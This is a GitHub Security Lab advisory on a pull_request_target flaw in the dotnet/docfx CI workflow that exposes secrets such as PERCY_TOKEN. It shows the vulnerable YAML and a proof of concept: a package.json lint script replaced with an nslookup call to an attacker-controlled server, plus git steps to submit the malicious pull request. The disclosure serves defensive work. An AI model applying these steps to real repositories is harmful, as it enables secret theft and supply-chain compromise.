Coordinated Disclosure Timeline
- 2024-03-12: Report sent to MSRC.
- 2024-03-18: Token is deemed as non-confidential and issue is closed as informative.
- 2024-07-17: Even if the issue is deemed not exploitable, this advisory is published for educational purposes.
Summary
Insecure usage of pull_request_target
makes docfx repository vulnerable to secrets exfiltration.
Project
dotnet/docfx
Tested Version
Details
Untrusted checkout leading to secrets exfiltration from a Pull Request in CI workflow (GHSL-2024-030
)
The pull_request_target
trigger event used in ci.yml GitHub workflow explicitly checks out the head of the Pull Request and therefore code controlled by an attacker and runs it.
name: ci
on:
pull_request_target:
branches: [ main, feature/*, hotfix/* ]
push:
branches: [ main, feature/*, hotfix/* ]
jobs:
test:
runs-on: ${{ matrix.os }}
environment: ci
strategy:
fail-fast: false
matrix:
os: [windows-latest, macos-latest, ubuntu-latest]
steps:
- uses: actions/checkout@v4
with:
ref: ${{github.event.pull_request.head.ref}}
repository: ${{ github.event.pull_request.head.repo.full_name }}
lfs: true
- uses: ./.github/actions/build
- run: npm run lint
shell: bash
working-directory: templates
...
- run: percy exec -- dotnet test -c Release -f net8.0 --filter Stage=Percy --no-build --collect:"XPlat Code Coverage"
if: matrix.os == 'ubuntu-latest'
env:
PERCY_TOKEN: ${{ secrets.PERCY_TOKEN }}
...
By explicitly checking out and running a code from a fork, the untrusted code is running in an environment that is able to access secrets. See Preventing pwn requests for more information.
An attacker could create a pull request with a malicious templates/packages.json
file which would execute arbitrary commands in the runner gaining access to the secrets shared with the workflow (eg: secrets.PERCY_TOKEN
).
This vulnerability was found using the Checkout of untrusted code in trusted context
CodeQL query.
Proof Of Concept (PoC)
To verify the vulnerability follow the following steps:
- Clone the repo:
gh repo clone dotnet/docfx
. - Edit
templates/package.json
and apply the following diff (replaceYOUR-CONTROLLED-SERVER
with your own request catcher server): ```diff diff –git a/templates/package.json b/templates/package.json index d3899b5c3..c2fd342b5 100644 — a/templates/package.json +++ b/templates/package.json @@ -13,7 +13,7 @@ ], “scripts”: { “build”: “node build.js”, - “lint”: “eslint modern/src && stylelint modern/src”,
- “lint”: “nslookup YOUR-CONTROLLED-SERVER”, “test”: “jest”, “start”: “node build.js –watch” },
```
- Create a new branch:
git checkout -b add_new_test
. - Stage modified file:
git add templates/package.json
. - Commit change:
git commit -m "fix(templates): Fix linter"
. - Send PR:
gh pr create
and follow instructions on screen. - Once the PR is received, the
ci.yml
workflow should trigger which should result in the execution ofnpm run lint
which will execute the payload and will send a request to the attacker-controlled server.
Impact
Running untrusted code with a privileged repository token and access to secrets may lead to an unauthorized repository modification or exfiltration of the secrets. Please note that this allows for exfiltration of the secrets.PERCY_TOKEN
.
Credit
This issue was discovered and reported by GHSL team member @pwntester (Alvaro Muñoz).
Contact
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2024-030
in any communication regarding this issue.